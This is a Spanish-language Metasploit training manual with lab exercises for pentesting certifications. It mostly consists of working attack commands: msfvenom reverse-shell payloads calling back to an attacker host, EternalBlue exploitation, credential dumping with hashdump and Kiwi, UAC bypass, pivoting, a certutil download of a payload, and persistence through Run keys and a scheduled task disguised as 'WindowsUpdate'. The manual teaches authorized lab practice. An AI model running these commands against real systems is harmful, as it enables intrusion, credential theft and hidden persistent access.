π§ΒΏQuΓ© es Metasploit Framework?
La plataforma de pentesting mΓ‘s usada del mundo: OSCP, CEH, eJPT, HTB
Metasploit Framework es la plataforma de pentesting mΓ‘s utilizada del mundo. Desarrollada originalmente por H.D. Moore en 2003 y actualmente mantenida por Rapid7, es una herramienta de cΓ³digo abierto incluida en Kali Linux que integra mΓ‘s de 2.300 exploits, 1.100 mΓ³dulos auxiliares y cientos de payloads en un ΓΊnico framework unificado. Es el estΓ‘ndar de la industria para certificaciones como OSCP, CEH, eJPT y PNPT.
Meterpreter es el payload de post-explotaciΓ³n de Metasploit: una shell avanzada que se ejecuta completamente en memoria, sin tocar el disco, proporciona cifrado TLS en la comunicaciΓ³n y ofrece funcionalidades que van mucho mΓ‘s allΓ‘ de una shell estΓ‘ndar: volcado de hashes, captura de pantalla, keylogging, pivoting de red y escalada de privilegios automΓ‘tica.
β USO EXCLUSIVAMENTE EN ENTORNOS AUTORIZADOSTodo lo documentado en este manual debe practicarse en laboratorios propios (Metasploitable 2/3, HackTheBox, TryHackMe, DVWA) o en entornos con permiso escrito explΓcito de auditorΓa. El uso de estas tΓ©cnicas contra sistemas sin autorizaciΓ³n es ilegal.
π§Exploits2.300+ mΓ³dulos para explotar vulnerabilidades conocidas en servicios y aplicaciones
πAuxiliaresEscaneo, enumeraciΓ³n, fuzzing, brute force sin payload
π»PayloadsSingles, stagers y stages: desde shells simples hasta Meterpreter completo
βPostMΓ³dulos de post-explotaciΓ³n: volcado de credenciales, escalada, pivoting
πEncodersCodificadores para reducir falsos positivos en payloads
π msfvenomGenerador de payloads independiente: EXE, DLL, Python, PHP, PowerShell...
πArquitectura del Framework
MΓ³dulos, payloads, handlers y la diferencia entre singles y stagers
πARQUITECTURA DEL FRAMEWORK
| Componente | DescripciΓ³n | Ejemplo |
|---|
| msfconsole | Interfaz principal interactiva del framework | msfconsole |
| msfvenom | Generador/encoder de payloads independiente | msfvenom -p windows/x64/meterpreter/reverse_tcp |
| Exploit modules | CΓ³digo para explotar una CVE especΓfica | exploit/windows/smb/ms17_010_eternalblue |
| Payload modules | CΓ³digo que se ejecuta en el objetivo tras explotar | windows/x64/meterpreter/reverse_tcp |
| Auxiliary modules | Escaneo y enumeraciΓ³n sin payload | auxiliary/scanner/smb/smb_ms17_010 |
| Post modules | Acciones despuΓ©s de obtener sesiΓ³n | post/windows/gather/hashdump |
| Handler (multi/handler) | Listener que recibe las conexiones de los payloads | use exploit/multi/handler |
π»TIPOS DE PAYLOAD: SINGLES, STAGERS Y STAGES
Metasploit organiza los payloads en tres tipos:
- Singles (
windows/shell_reverse_tcp): payload completo en un solo bloque. MΓ‘s grande pero mΓ‘s fiable. No necesita staged connection. - Stagers (
windows/shell/reverse_tcp): payload pequeΓ±o que establece la conexiΓ³n y descarga el stage. El / lo distingue del _ del single. - Stages: el payload completo que el stager descarga. Meterpreter es siempre un stage.
Regla prΓ‘ctica: cuando el buffer de explotaciΓ³n es limitado, usa stager (/). Cuando no hay restricciΓ³n, usa single (_).
# Formato: PLATAFORMA/ARQUITECTURA/TIPO_CONEXION
# Singles (payload completo, _ en el nombre):
windows/meterpreter_reverse_tcp # Windows 32-bit
windows/x64/meterpreter_reverse_tcp # Windows 64-bit
linux/x86/shell_reverse_tcp # Linux 32-bit
linux/x64/shell_reverse_tcp # Linux 64-bit
# Stagers (payload pequeΓ±o, / en el nombre):
windows/meterpreter/reverse_tcp # Stager Meterpreter
windows/x64/meterpreter/reverse_tcp # Stager 64-bit
windows/shell/reverse_tcp # Stager shell simple
# Tipos de conexion:
# reverse_tcp : el objetivo se conecta al atacante (mΓ‘s comΓΊn)
# bind_tcp : el atacante se conecta al objetivo (cuando hay NAT inverso)
# reverse_https: reverse sobre HTTPS (mΓ‘s sigiloso)
βInstalaciΓ³n y msfconsole
Arrancar Metasploit, navegar mΓ³dulos y configurar variables
# En Kali Linux (preinstalado):
msfconsole
# Actualizar Metasploit a la versiΓ³n mΓ‘s reciente:
sudo apt update && sudo apt upgrade metasploit-framework -y
# Instalar en Ubuntu/Debian desde el instalador oficial:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
# Iniciar la base de datos PostgreSQL (recomendado):
sudo systemctl start postgresql
msfdb init
msfconsole
# Verificar que la DB estΓ‘ conectada (dentro de msfconsole):
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql
# Comandos fundamentales de msfconsole:
# Buscar mΓ³dulos:
msf6 > search eternalblue
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2021-44228
# Usar un mΓ³dulo:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# O por nΓΊmero del resultado de search:
msf6 > use 0
# Ver informaciΓ³n del mΓ³dulo:
msf6 exploit(ms17_010_eternalblue) > info
# Ver y configurar opciones:
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.20
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
# Ver payloads compatibles con el exploit actual:
msf6 exploit(ms17_010_eternalblue) > show payloads
# Seleccionar payload:
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
# Ejecutar:
msf6 exploit(ms17_010_eternalblue) > run
# O:
msf6 exploit(ms17_010_eternalblue) > exploit
πVARIABLES GLOBALES vs LOCALES
# set: configura una variable para el modulo actual
msf6 > set LHOST 192.168.56.5
# setg: configura una variable GLOBAL (para todos los modulos)
msf6 > setg LHOST 192.168.56.5
msf6 > setg LPORT 4444
# Util cuando usas multiples modulos con la misma IP de atacante
# unset: borrar una variable
msf6 > unset RHOSTS
# Ver todas las variables configuradas:
msf6 > show options
# Guardar la configuracion actual:
msf6 > save
π msfvenom: Generar Payloads
Crear payloads para Windows, Linux, PHP, PowerShell y shellcode
msfvenom combina los antiguos msfpayload y msfencode en una sola herramienta. Genera payloads en prΓ‘cticamente cualquier formato y plataforma: ejecutables Windows, scripts Python, PHP, PowerShell, shellcode en C, APKs Android, y mucho mΓ‘s. Es la herramienta que se usa para crear los payloads que se entregan al objetivo.
# Sintaxis:
msfvenom -p PAYLOAD [opciones] -f FORMATO -o ARCHIVO
# ββ PAYLOADS WINDOWS ββββββββββββββββββββββββββββββββββββββββββ
# EXE reverse shell Meterpreter (64-bit, el mΓ‘s usado en OSCP/HTB):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f exe -o shell.exe
# EXE 32-bit (para sistemas Windows mΓ‘s antiguos):
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f exe -o shell32.exe
# DLL (para inyecciΓ³n en proceso):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f dll -o malware.dll
# PowerShell one-liner (para ejecuciΓ³n en memoria):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f psh-cmd
# HTA (aplicaciΓ³n HTML, se ejecuta al abrirla con mshta.exe):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f hta-psh -o app.hta
# ββ PAYLOADS LINUX ββββββββββββββββββββββββββββββββββββββββββββ
# ELF ejecutable Linux 64-bit:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f elf -o shell.elf
# Shell simple Linux (sin Meterpreter, mΓ‘s ligero):
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f elf -o shell_simple.elf
# ββ PAYLOADS WEB ββββββββββββββββββββββββββββββββββββββββββββββ
# PHP reverse shell:
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f raw -o shell.php
# JSP (Java Server Pages):
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f raw -o shell.jsp
# WAR (Apache Tomcat):
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f war -o shell.war
# ββ SHELLCODE βββββββββββββββββββββββββββββββββββββββββββββββββ
# Shellcode en C (para incrustar en exploits propios):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f c
# Shellcode en Python:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.5 LPORT=4444 \
-f python
# Listar todos los payloads disponibles:
msfvenom -l payloads
# Filtrar payloads por plataforma:
msfvenom -l payloads | grep windows/x64
msfvenom -l payloads | grep linux/x64
msfvenom -l payloads | grep php
# Listar todos los formatos de salida:
msfvenom -l formats
# Ver las opciones de un payload especΓfico:
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
π‘ Para OSCP y HTB, los payloads mΓ‘s usados son: windows/x64/meterpreter/reverse_tcp (Windows), linux/x64/meterpreter/reverse_tcp (Linux) y php/meterpreter_reverse_tcp (webshell PHP).
π»Meterpreter: La Shell Avanzada
CΓ³mo funciona Meterpreter y por quΓ© es el payload preferido en pentesting
Meterpreter (abreviaciΓ³n de Meta-Interpreter) es el payload de post-explotaciΓ³n mΓ‘s avanzado de Metasploit. Cuando se ejecuta en el objetivo, carga una DLL completamente en memoria mediante reflective DLL injection, sin escribir nada en disco. Toda la comunicaciΓ³n va cifrada con TLS. Proporciona una API completa que los mΓ³dulos post de Metasploit pueden usar directamente.
π»CARACTERΓSTICAS CLAVE DE METERPRETER
| CaracterΓstica | DescripciΓ³n |
|---|
| EjecuciΓ³n en memoria | No escribe archivos en disco. Evita muchos antivirus basados en firmas de disco. |
| Cifrado TLS | Toda la comunicaciΓ³n entre Meterpreter y Metasploit va cifrada. |
| ExtensΓble | Se puede cargar extensiones adicionales (Kiwi, Incognito, Mimikatz) en tiempo de ejecuciΓ³n. |
| Multiplataforma | Versiones para Windows, Linux, macOS, Android, Java. |
| Shell integrada | Puedes abrir una shell del sistema operativo desde dentro de Meterpreter. |
| Sistema de archivos | Navegar, descargar y subir archivos sin salir de Meterpreter. |
# Una vez obtenida la sesion Meterpreter:
# Informacion del sistema:
meterpreter > sysinfo
meterpreter > getuid # Usuario actual
meterpreter > getpid # PID del proceso de Meterpreter
meterpreter > ps # Lista de procesos en ejecucion
# Navegacion del sistema de archivos:
meterpreter > pwd # Directorio actual
meterpreter > ls # Listar contenido
meterpreter > cd C:\Users\ # Cambiar directorio
meterpreter > download secreto.txt # Descargar archivo
meterpreter > upload nc.exe C:\Windows\Temp\ # Subir archivo
# Shell interactiva:
meterpreter > shell # Abrir cmd.exe
# CTRL+Z para volver a Meterpreter sin matar la shell
# Pivoting entre sesiones:
meterpreter > background # Enviar al fondo (CTRL+Z tambiΓ©n)
# Volver a la sesion:
msf6 > sessions -l # Listar sesiones activas
msf6 > sessions -i 1 # Volver a la sesion 1
# Informacion de red:
meterpreter > ipconfig
meterpreter > arp
meterpreter > netstat
πEjercicio 1 β Primer Exploit: EternalBlue (MS17-010)
El exploit mΓ‘s enseΓ±ado en OSCP/HTB: flujo completo desde detecciΓ³n a SYSTEM
EternalBlue (MS17-010 / CVE-2017-0144) es la vulnerabilidad mΓ‘s importante para aprender Metasploit: es la que usΓ³ WannaCry y NotPetya. EstΓ‘ presente en practicamente todos los labs de OSCP y HTB, y enseΓ±a el flujo completo desde la detecciΓ³n hasta la shell. Solo para Metasploitable 2/3, HTB Blue, o VM Windows 7 sin parches en lab propio.
π ENTORNO DE LABORATORIOEste ejercicio requiere una VM Windows 7 SP1 sin parchas o la mΓ‘quina Blue de HackTheBox. Descarga una ISO de evaluaciΓ³n de Windows 7 SP1 de Microsoft, crΓ©a una VM en VirtualBox/VMware y NO apliques actualizaciones.
1
Verificar si el objetivo es vulnerableESCANEO
# Paso 1: Escanear si es vulnerable ANTES de explotar
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.56.20
msf6 auxiliary(smb_ms17_010) > run
# Salida si es vulnerable:
# [+] 192.168.56.20:445 - Host is likely VULNERABLE to MS17-010!
# [*] 192.168.56.20:445 - Scanned 1 of 1 hosts
# Tambien con nmap:
nmap -p 445 --script smb-vuln-ms17-010 192.168.56.20
2
Explotar con EternalBlueEXPLOIT
# Paso 2: Cargar el modulo de exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# Configurar opciones:
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.20
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
# Verificar las opciones:
msf6 exploit(ms17_010_eternalblue) > show options
# El payload por defecto es windows/x64/meterpreter/reverse_tcp
# Verificar:
msf6 exploit(ms17_010_eternalblue) > show payloads
# Ejecutar:
msf6 exploit(ms17_010_eternalblue) > run
# Salida esperada:
# [*] Started reverse TCP handler on 192.168.56.5:4444
# [*] 192.168.56.20:445 - Connecting to target for exploitation.
# [+] 192.168.56.20:445 - Connection established for exploitation.
# [*] Sending stage (200774 bytes) to 192.168.56.20
# [*] Meterpreter session 1 opened
# meterpreter >
3
Verificar acceso obtenidoPOST-EXPLOIT
# Verificar usuario y privilegios:
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# EternalBlue da acceso como SYSTEM directamente
meterpreter > sysinfo
# Computer: WIN7-LAB
# OS: Windows 7 (6.1 Build 7601, Service Pack 1)
# Architecture: x64
# Obtener los hashes del sistema:
meterpreter > hashdump
# Administrator:500:aad3b435...:8846f7eaee8fb117...
# Guest:501:aad3b435...:31d6cfe0d16ae931...
β Ejercicio prΓ‘ctico
Completa el flujo EternalBlue en tu laboratorio. ΒΏA quΓ© usuario corresponde el hash que obtiene hashdump? ΒΏCon quΓ© herramienta crackeΓ³s ese hash NT?
π‘ Pista: El hash NT obtenido de hashdump se puede crackear con hashcat -m 1000 o con CrackStation online.
Ver soluciΓ³n
msf6 > use exploit/windows/smb/ms17_010_eternalblue --- set RHOSTS IP --- run --- meterpreter > hashdump --- El hash de Administrator tiene el formato LM:NT. Crackear: hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt --- O usar CrackStation.net con el hash NT (los 32 chars despues del segundo :)
π΄Ejercicio 2 β Reverse Shell con msfvenom
Flujo completo: generar payload, configurar handler y recibir la sesiΓ³n
El escenario mΓ‘s comΓΊn en pentesting web: encuentras una vulnerabilidad de subida de archivos o ejecuciΓ³n remota y necesitas entregar un payload que conecte de vuelta a tu listener de Metasploit. Este es el flujo msfvenom + multi/handler.
1
Crear el payload con msfvenomGENERAR PAYLOAD
# Para un objetivo Windows (el mas comun en HTB/OSCP):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 \
LPORT=4444 \
-f exe \
-o payload.exe
# Para Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 \
LPORT=4444 \
-f elf \
-o payload.elf
chmod +x payload.elf
# Para una webshell PHP:
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.56.5 \
LPORT=4444 \
-f raw \
-o shell.php
# Para PowerShell (cuando solo tienes RCE via PowerShell):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.5 \
LPORT=4444 \
-f psh \
-o payload.ps1
# Verificar el payload generado:
file payload.exe
ls -lh payload.exe
2
Configurar el listener multi/handlerLISTENER
# SIEMPRE levantar el handler ANTES de ejecutar el payload en el objetivo
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.56.5
msf6 exploit(handler) > set LPORT 4444
# Opciones adicionales utiles:
# ExitOnSession false = mantener el handler activo para multiples conexiones:
msf6 exploit(handler) > set ExitOnSession false
# Ejecutar en modo job (en segundo plano):
msf6 exploit(handler) > run -j
# [*] Exploit running as background job 0.
# [*] Started reverse TCP handler on 192.168.56.5:4444
# Cuando llegue la conexion del payload:
# [*] Sending stage (200774 bytes) to 192.168.56.20
# [*] Meterpreter session 1 opened
msf6 > sessions -i 1
3
Entregar el payload al objetivoENTREGA
# El payload.exe debe ejecutarse en el sistema objetivo
# En un lab, las formas mas comunes son:
# 1. Servidor HTTP con Python (para que el objetivo lo descargue):
python3 -m http.server 8080
# En el objetivo: certutil -urlcache -f http://KALI_IP:8080/payload.exe C:\Temp\payload.exe
# 2. SMB server con Impacket (objetivo puede ejecutar directamente):
impacket-smbserver share . -smb2support
# En el objetivo: \\KALI_IP\share\payload.exe
# 3. Si tienes RCE via webapp (ej: DVWA):
# Subir shell.php a la web vulnerable
# Acceder a la URL de la shell: http://objetivo/uploads/shell.php
# 4. Si tienes acceso SSH:
scp payload.elf usuario@192.168.56.20:/tmp/
ssh usuario@192.168.56.20 'chmod +x /tmp/payload.elf && /tmp/payload.elf &'
β Ejercicio prΓ‘ctico
Genera un payload EXE de Meterpreter para Windows 64-bit, configura el handler y simula la entrega con un servidor HTTP de Python. ΒΏQuΓ© archivo genera msfvenom? ΒΏQuΓ© ocurre en msfconsole cuando el payload se ejecuta en el objetivo?
π‘ Pista: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe --- use exploit/multi/handler
Ver soluciΓ³n
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=TU_IP LPORT=4444 -f exe -o shell.exe --- msf6 > use exploit/multi/handler --- set payload windows/x64/meterpreter/reverse_tcp --- set LHOST TU_IP --- set LPORT 4444 --- run --- Al ejecutar shell.exe en el objetivo: [*] Meterpreter session 1 opened. El handler muestra la IP del objetivo y abre la sesion Meterpreter.
π€Ejercicio 3 β Post-ExplotaciΓ³n con Meterpreter
Recopilar informaciΓ³n del sistema, volcar credenciales y usar mΓ³dulos post
Una vez obtenida la sesiΓ³n Meterpreter, el trabajo real del pentest comienza: recolectar evidencias, escalar privilegios, moverse lateralmente y demostrar el impacto real del compromiso al cliente. Los mΓ³dulos post/ de Metasploit automatizan las tareas mΓ‘s comunes de post-explotaciΓ³n.
1
RecopilaciΓ³n de informaciΓ³n del sistemaRECON
# Dentro de Meterpreter:
# Info del sistema:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ps | grep -i 'explorer\|lsass\|svchost'
# Interfaces de red y tabla de rutas:
meterpreter > ipconfig
meterpreter > route
# Usuarios locales:
meterpreter > run post/windows/gather/enum_logged_on_users
# Software instalado:
meterpreter > run post/windows/gather/enum_applications
# Buscar archivos interesantes:
meterpreter > search -f *.txt -d C:\Users
meterpreter > search -f password* -d C:\
meterpreter > search -f *.kdbx -d C:\ # KeePass databases
meterpreter > search -f *.config -d C:\inetpub\ # IIS configs
# Captura de pantalla:
meterpreter > screenshot
2
Volcado de credencialesCREDENCIALES
# hashdump: vuelca la SAM local (requiere SYSTEM o Admin local)
meterpreter > hashdump
# Administrator:500:aad3b435...:8846f7eaee8fb117...
# Usar el modulo post para hashdump mas completo:
meterpreter > run post/windows/gather/hashdump
# Kiwi (ex Mimikatz integrado en Meterpreter):
# Cargar la extension Kiwi:
meterpreter > load kiwi
# Volcar credenciales en memoria (requiere SYSTEM):
meterpreter > creds_all # Todas las credenciales disponibles
meterpreter > lsa_dump_sam # Hashes de la SAM
meterpreter > lsa_dump_secrets # LSA Secrets (cuentas de servicio)
meterpreter > kerberos_ticket_list # Tickets Kerberos activos
# Si no tienes SYSTEM, migrar primero a un proceso SYSTEM:
meterpreter > ps | grep -i 'system'
meterpreter > migrate PID_PROCESO_SYSTEM
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
3
MΓ³dulos post para recolectar informaciΓ³nPOST MODULES
# Ejecutar modulos post desde dentro de Meterpreter:
meterpreter > run MODULE
# O desde msfconsole con SESSION:
msf6 > use post/windows/gather/hashdump
msf6 > set SESSION 1
msf6 > run
# Modulos post de recoleccion mas usados:
post/windows/gather/hashdump # Hashes SAM
post/windows/gather/smart_hashdump # Hashes SAM + dominio (mas completo)
post/windows/gather/credentials/credential_collector # Todas las creds
post/windows/gather/enum_applications # Software instalado
post/windows/gather/enum_logged_on_users # Usuarios con sesion activa
post/multi/recon/local_exploit_suggester # Sugerir exploits de escalada
post/windows/manage/migrate # Migrar a otro proceso
β Ejercicio prΓ‘ctico
Con una sesiΓ³n Meterpreter activa, usa el mΓ³dulo post/multi/recon/local_exploit_suggester. ΒΏQuΓ© exploits de escalada de privilegios sugiere para tu objetivo?
π‘ Pista: meterpreter > run post/multi/recon/local_exploit_suggester
Ver soluciΓ³n
msf6 > use post/multi/recon/local_exploit_suggester --- set SESSION 1 --- run --- El modulo lista los exploits locales de escalada compatibles con el OS de la sesion. En Windows 7: suele sugerir exploit/windows/local/ms14_058_track_popup_menu, ms16_014_wmi_recv_notif, bypassuac_eventvwr, etc.
πEjercicio 4 β Escalada de Privilegios
getsystem, BypassUAC y Local Exploit Suggester para obtener SYSTEM
La escalada de privilegios convierte acceso de usuario limitado en acceso de administrador o SYSTEM. Metasploit incluye decenas de exploits locales y el mΓ³dulo local_exploit_suggester que automatizan este proceso en entornos de laboratorio y CTF.
1
Escalada automΓ‘tica: getsystemGETSYSTEM
# getsystem intenta varios metodos de escalada automaticamente:
meterpreter > getsystem
# ...got system via technique 1 (Named Pipe Impersonation...)
# o
# ...got system via technique 4 (Token Duplication via...)
# Verificar:
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# Si getsystem falla, intentar manualmente:
# Metodo 1: Named Pipe Impersonation
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 > set SESSION 1
msf6 > run
# Ver que metodos tiene getsystem:
meterpreter > getsystem -h
# Technique 1 : Named Pipe Impersonation
# Technique 2 : Token Duplication
# Technique 3 : ROTTEN POTATO
# Technique 4 : Named Pipe Impersonation (Printspoofer)
2
BypassUAC: cuando eres Admin local pero no SYSTEMBYPASSUAC
# Si tienes una sesion de usuario administrador pero con UAC activado:
# getsystem fallara -> necesitas bypass UAC primero
# Metodo clasico: bypassuac_eventvwr
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 > set SESSION 1
msf6 > set LHOST 192.168.56.5
msf6 > run
# Abre una nueva sesion con UAC desactivado
# Luego en esa nueva sesion:
meterpreter > getsystem
# Otros modulos BypassUAC:
exploit/windows/local/bypassuac # UAC bypass generico
exploit/windows/local/bypassuac_fodhelper # Via fodhelper.exe
exploit/windows/local/bypassuac_sdclt # Via sdclt.exe
exploit/windows/local/bypassuac_silentcleanup # Via SilentCleanup task
3
Local Exploit Suggester: encontrar exploits de escaladaLES
# El modulo mas importante para escalada: sugiere exploits compatibles
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
# Salida de ejemplo:
# [+] exploit/windows/local/ms14_058_track_popup_menu: The target appears vulnerable.
# [+] exploit/windows/local/ms16_014_wmi_recv_notif: The target appears vulnerable.
# [+] exploit/windows/local/ms16_075_reflection: The target appears vulnerable.
# Probar el primer exploit sugerido:
msf6 > use exploit/windows/local/ms14_058_track_popup_menu
msf6 > set SESSION 1
msf6 > set LHOST 192.168.56.5
msf6 > run
# Si funciona: nueva sesion con privilegios SYSTEM
β Ejercicio prΓ‘ctico
Con una sesiΓ³n Meterpreter de usuario limitado en Windows 7, usa getsystem primero. Si falla, usa el Local Exploit Suggester y prueba el primer exploit sugerido. ΒΏObtienes SYSTEM?
π‘ Pista: meterpreter > getsystem --- Si falla: run post/multi/recon/local_exploit_suggester
Ver soluciΓ³n
meterpreter > getsystem --- Si falla: use post/multi/recon/local_exploit_suggester --- set SESSION N --- run --- Probar el primer exploit listado: use exploit/windows/local/NOMBRE --- set SESSION N --- run --- meterpreter > getuid -> NT AUTHORITY\SYSTEM confirma exito
πEjercicio 5 β Pivoting y Port Forwarding
Usar un sistema comprometido como trampolΓn para atacar redes internas
El pivoting consiste en usar un sistema comprometido como trampolΓn para atacar otros sistemas de redes internas que no son directamente accesibles desde Kali. Metasploit tiene soporte nativo para pivoting a travΓ©s de sesiones Meterpreter.
1
Descubrir la red interna desde el pivoteDESCUBRIMIENTO
# El objetivo comprometido (192.168.56.20) tiene acceso a
# una red interna 10.10.10.0/24 que Kali no puede ver
# Ver las interfaces del sistema comprometido:
meterpreter > ipconfig
# Interface 1: 192.168.56.20/24 (red que ya conocemos)
# Interface 2: 10.10.10.50/24 <- RED INTERNA
# Agregar una ruta de pivoting en Metasploit:
msf6 > route add 10.10.10.0/24 SESSION_ID
# O desde dentro de Meterpreter:
meterpreter > run post/multi/manage/autoroute
# Verificar rutas:
msf6 > route print
# [*] Active Routing Table
# [*] Subnet Netmask Gateway
# [*] 10.10.10.0 255.255.255.0 Session 1
# Escanear la red interna a traves del pivote:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set PORTS 22,80,443,445,3389
msf6 > run
2
SOCKS Proxy: usar herramientas externas a travΓ©s del pivoteSOCKS
# Crear un proxy SOCKS5 que tunela el trafico por la sesion Meterpreter:
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
# [*] Auxiliary module running as background job
# [*] Starting the SOCKS proxy server
# Configurar proxychains para usar el SOCKS:
# Editar /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Ahora cualquier herramienta puede tunelarse por el pivote:
proxychains nmap -sT -p 80,443,22 10.10.10.100
proxychains curl http://10.10.10.100/
proxychains nxc smb 10.10.10.100
proxychains python3 psexec.py DOMINIO/admin:pass@10.10.10.100
3
Port forwarding local y remotoPORT FORWARD
# Port forward LOCAL: acceder a un puerto del objetivo en un puerto local
# Ej: RDP (3389) del objetivo -> puerto 13389 en Kali
meterpreter > portfwd add -l 13389 -p 3389 -r 10.10.10.100
# Ahora: rdesktop 127.0.0.1:13389
# Otro ejemplo: acceder a MySQL interno (3306) -> local 3307
meterpreter > portfwd add -l 3307 -p 3306 -r 10.10.10.100
# mysql -h 127.0.0.1 -P 3307 -u root
# Ver los port forwards activos:
meterpreter > portfwd list
# Eliminar un port forward:
meterpreter > portfwd delete -l 13389
β Ejercicio prΓ‘ctico
Con un laboratorio de dos redes (Kali solo accede a la primera, el pivote tiene acceso a ambas), configura autoroute desde Meterpreter y usa el scanner TCP para descubrir hosts activos en la red interna.
π‘ Pista: meterpreter > run post/multi/manage/autoroute --- msf6 > use auxiliary/scanner/portscan/tcp --- set RHOSTS 10.10.10.0/24
Ver soluciΓ³n
meterpreter > run post/multi/manage/autoroute SUBNET=10.10.10.0/24 --- msf6 > use auxiliary/scanner/portscan/tcp --- set RHOSTS 10.10.10.0/24 --- set PORTS 22,80,445,3389 --- run --- Los hosts que respondan en esos puertos son objetivos potenciales de la red interna.
πEjercicio 6 β Persistencia
Mantener el acceso tras reinicios y demostrar el impacto real del compromiso
La persistencia garantiza que el acceso al sistema se mantiene aunque se reinicie el equipo o se cierre la sesiΓ³n Meterpreter. En un pentest real, demostrar persistencia es la forma de mostrar al cliente el impacto real de un compromiso.
π‘ SOLO EN LABORATORIOLos mecanismos de persistencia modifican el sistema objetivo (registro, tareas programadas, servicios). En un pentest real, siempre documenta todo lo que instalas y lΓmpialo al finalizar el engagement.
1
Persistencia via registro (Run key)RUN KEY
# Persistencia via clave Run del Registro:
msf6 > use post/windows/manage/persistence
msf6 > set SESSION 1
msf6 > set STARTUP REGISTRY
msf6 > set LHOST 192.168.56.5
msf6 > set LPORT 4445
msf6 > run
# El modulo:
# 1. Sube un payload a C:\Windows\Temp\nVABb.exe
# 2. Crea la clave Run: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# 3. Al reiniciar, el payload se ejecuta automaticamente y conecta a Kali
# Para recibir la conexion del payload persistente:
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.5
msf6 > set LPORT 4445
msf6 > run
2
Persistencia via tarea programadaSCHEDULED TASK
# Desde dentro de Meterpreter (shell cmd):
meterpreter > shell
# Crear tarea programada que ejecuta el payload cada hora:
C:\> schtasks /create /tn 'WindowsUpdate' /tr 'C:\Temp\payload.exe' /sc hourly /f
# O al inicio del sistema:
C:\> schtasks /create /tn 'WindowsUpdate' /tr 'C:\Temp\payload.exe' /sc onstart /ru SYSTEM /f
# Verificar la tarea:
C:\> schtasks /query /tn 'WindowsUpdate'
# Con el modulo post de Metasploit:
msf6 > use post/windows/manage/persistence_exe
msf6 > set SESSION 1
msf6 > set STARTUP SCHEDULER
msf6 > set EXE_NAME WindowsUpdate.exe
msf6 > run
3
Limpiar la persistencia (etica del pentest)LIMPIEZA
# El modulo de persistencia genera un script de limpieza automaticamente
# Ejecutar el script de limpieza generado:
# Buscar en la salida del modulo: cleanup resource file stored at...
# Manualmente, borrar Run key:
meterpreter > run post/windows/manage/delete_key
# O desde registry editor (reg.exe):
meterpreter > shell
C:\> reg delete 'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' /v NOMBRE /f
# Borrar tarea programada:
C:\> schtasks /delete /tn 'WindowsUpdate' /f
# Borrar el ejecutable subido:
C:\> del C:\Temp\payload.exe /f
C:\> exit # Volver a Meterpreter
β Ejercicio prΓ‘ctico
Instala el mecanismo de persistencia via Run key en tu VM de laboratorio, reinicia la VM y verifica que Metasploit recibe una nueva sesiΓ³n automΓ‘ticamente. DespuΓ©s, lΓmpialo completamente.
